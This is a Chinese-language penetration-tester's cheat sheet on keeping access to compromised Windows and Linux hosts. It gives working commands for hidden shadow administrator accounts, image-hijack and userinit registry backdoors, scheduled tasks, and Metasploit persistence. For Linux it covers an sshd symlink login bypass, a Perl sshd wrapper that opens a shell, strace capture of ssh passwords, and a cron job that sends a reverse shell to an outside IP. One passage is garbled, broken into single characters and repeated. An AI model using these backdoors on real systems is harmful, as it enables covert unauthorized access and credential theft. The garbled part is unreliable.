权限维持小结
windows
添加影子账户
net user tianxia$ tianxia /add(计算机管理》用户管理,看得到,net user看不到)
net localgroup administrators tianxia$ /add(添加到管理员组)
打开注册表管理器
regedit打开注册表,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names中会出现tianxia
,
将
t
i
a
n
x
i
a
,将tianxia
,将tianxia导出,并且在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中将tianxia
,
A
d
m
i
n
i
s
t
r
a
t
o
r
s
对
应
的
账
户
也
导
出
,
使
用
记
事
本
等
工
具
,
将
A
d
m
i
n
i
s
t
r
a
t
o
r
s
对
应
的
账
户
中
F
的
值
复
制
到
t
i
a
n
x
i
a
,Administrators对应的账户也导出,使用记事本等工具,将Administrators对应的账户中F的值复制到tianxia
,Administrators对应的账户也导出,使用记事本等工具,将Administrators对应的账户中F的值复制到tianxia对应的账户F的值,
删除影子账户
net user tianxia$ tianxia /del
使用 regedit /s 1.reg(tianxia$导出之后的文件)
检测方法
在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下查看Administrators对应的默认值,检测其他账户,默认值相同,则为影子账户,删除即可
参考链接
https://blog.csdn.net/baidu_38844729/article/details/115708745
https://blog.csdn.net/r13929847477/article/details/52412677
映像劫持(简单的说:你打开的是a,实际上运行的是b)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options路径
查找对应的exe文件添加debugger,并且修改属性值为想要运行的文件(以cmd为例,键值更改为cmd.exe,更改之后,打开对应exe,即可打开cmd窗口)
使用gflags.exe,可以在关闭运行文件后打开cmd窗口(https://github.com/gflags/gflags)
主要用法,更改粘滞键(5下shift)关闭之后,运行powelshell,或者运行自己的木马程序
参考:https://cloud.tencent.com/developer/article/1672119
userinit注册表后门(根据程序的运行顺序)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon(路径)
使用,添加userinit的值,执行命令(使用cs建立对应powershell脚本)或者执行文件。(需要后门文件的绝对路径)
logoff(重启计算机)
计划任务(需要system权限)
schtasks.exe /create /tn upadte /tr whomi(需要执行的命令或者程序) /sc minute /mo 1/f /rl highest(空格需要\转义)
含义,每一分钟都执行一次whomi
贴链接:https://www.cnblogs.com/xiaozi/p/11797078.html
msf中的persistence模块
run persistence -p payload -p 端口 -r 监听地址 -u -i
-u 自启动
-i 执行建个时间,单位为秒
linux权限维持
ssh软连接
利用前提
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grep UsePAM
注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find/etc/pam.d|xargs grep “pam_rootok”,出现的则可以用作软链接名称
使用root执行命令
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234
然后使用ssh任意密码连接1234端口登录root账户
ssh wrapper
服务端:
cd /usr/sbin/
mv sshd …/bin/
echo ‘#!/usr/bin/perl’ >sshd
echo ‘exec “/bin/sh” if(getpeername(STDIN) =~ /^…4A/);’ >>sshd
echo ‘exec{"/usr/bin/sshd"} “/usr/sbin/sshd”,@ARGV,’ >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
客户端:
socat STDIO TCP4:target_ip:22,sourceport=13377
即可使用各种命令
strace后门
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
#vim /etc/bashrc
alias ssh=‘strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh’
source /root/.bashrc
计时任务提权
创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/evil.sh
service crond restart(重启服务)
crontab -e 设置定时任务
每一分钟执行一次
crontab -e 1 * * * * /root/etc/evil.sh
五个*依次为分钟,小时,几号,月份,星期几
ssh私钥登录
ssh-keygent -t rsa
回车后会生成
id_rsa(私钥) id_rsa.pub(公钥)
公钥上传到目标主机中
重命名为authorized_keys上传到.ssh目录下
chmod 600 id_rsa 更改权限,登录
参考:https://www.cnblogs.com/-mo-/p/12337766.html